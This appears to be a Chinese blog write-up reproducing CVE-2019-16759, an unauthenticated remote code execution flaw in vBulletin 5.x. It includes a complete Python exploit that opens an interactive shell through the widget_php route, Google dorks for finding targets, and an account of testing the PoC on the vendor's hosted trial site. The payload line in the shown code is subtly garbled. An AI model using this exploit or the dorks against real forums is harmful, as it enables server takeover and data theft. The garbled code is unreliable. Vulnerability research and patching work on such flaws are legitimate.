CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE 漏洞复现

  • 2019 年 10 月 10 日
  • 筆記

0X1 漏洞概述

vBulletin 是世界上用户非常广泛的PHP论坛,很多大型论坛都选择vBulletin作为自己的社区。vBulletin高效,稳定,安全,在中国也有很多大型客户,比如X鸟网,XX团购等在线上万人的论坛都用vBulletin。

vBulletin的官方网站是 http://www.vBulletin.com 它不是免费软件,但价格很低。的公司网站和论坛。因此,该0day漏洞细节的公布会对大量的用户带来影响。

匿名黑客称发现vBulletin中存在一个远程代码执行漏洞,影响vBulletin v 5.0.0到最新的v 5.5.4版本。该漏洞非常严重的原因不仅在于可以远程利用,还在于漏洞利用并不需要认证。由于论坛软件包是内部 widget文件通过URL参数接收配置的方式存在漏洞,服务器在分析参数时又没有进行适当的安全检查

漏洞POC参考:https://seclists.org/fulldisclosure/2019/Sep/31

#!/usr/bin/python  #  # vBulletin 5.x 0day pre-auth RCE exploit  #  # This should work on all versions from 5.0.0 till 5.5.4  #  # Google Dorks:  # - site:*.vbulletin.net  # - "Powered by vBulletin Version 5.5.4"    import requests  import sys    if len(sys.argv) != 2:      sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])    params = {"routestring":"ajax/render/widget_php"}    while True:      try:          cmd = raw_input("vBulletin$")          params["widgetConfig[code]"] = "echo shell_exec('cmd+'); exit;"          r = requests.post(url = sys.argv[1], data = params)          if r.status_code == 200:              print r.text          else:              sys.exit("Exploit failed! :(")      except KeyboardInterrupt:          sys.exit("nClosing shell...")      except Exception, e:          sys.exit(str(e))

0X2 环境搭建

由于vBulletin需要一些$才能下载源码,找了一下发现网上可以下载的是4.x的代码,无法复现。而该项目维护人员目前还并没有发布更新补丁,官网的测试版本还是最新的5.5.4,因此使用在线测试环境测试。漏洞原理分析可以参考chybeta在先知上做的分析。在官网上填写邮箱,即可得到测试版地址,如下所示

https://www.vbulletin.com/en/vb5-trial/

0X3 漏洞复现

使用上面的poc代码测试demo环境,可以看到返回条件成功

也可参考chybeta的复现过程进行代码注入执行

0X4 漏洞修复

建议对includesvb5frontendcontrollerbbcode.php中的变量evalCode做过滤防护

0x5 参考文章

https://xz.aliyun.com/t/6419

https://seclists.org/fulldisclosure/2019/Sep/31